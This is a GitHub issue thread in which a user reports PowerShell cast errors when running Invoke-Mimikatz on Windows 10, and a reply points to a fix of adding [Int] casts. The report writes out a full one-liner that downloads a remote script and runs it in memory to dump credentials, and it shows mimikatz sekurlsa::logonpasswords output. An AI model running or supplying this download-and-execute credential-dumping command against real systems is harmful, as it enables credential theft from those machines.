Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Specified cast is not valid #13

Open
CryneOnGithub opened this issue Apr 14, 2018 · 1 comment
Open

Specified cast is not valid #13

CryneOnGithub opened this issue Apr 14, 2018 · 1 comment

Comments

@CryneOnGithub
Copy link

When I try to run Mimikatz, I always get the exception "Specified cast is not valid"

At line:2203 char:7 \+ if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ... \+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : OperationStopped: (:) [], InvalidCastException + FullyQualifiedErrorId : System.InvalidCastException

At Line:2261 char:7 \+ if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ... \+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : OperationStopped: (:) [], InvalidCastException + FullyQualifiedErrorId : System.InvalidCastException

Im executing invoke-mimikatz with the command powershell “IEX (New-Object Net.WebClient).DownloadString (‘https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’); Invoke-Mimikatz -Du mpCreds”

in an Administrator powershell, which is Version Major: 5, Minor: 1, Build: 16299, Revision: 98

My OS is Microsoft Windows 10 Home
Version 10.0.16299 Build 16299

After the Errors Mimikatz still executes, but cant extract the credentials, the output is

`mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz(powershell) # exit
Bye!`

with Mimikatz Version "mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28)"
I downloaded the invoke-mimikatz script at 14. April 2018

My antivirus is completely disabled

@davehouser1
Copy link

I found this post, adding the [Int] in those two spots fixed the issue for me:

PowerShellMafia/PowerSploit#152

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants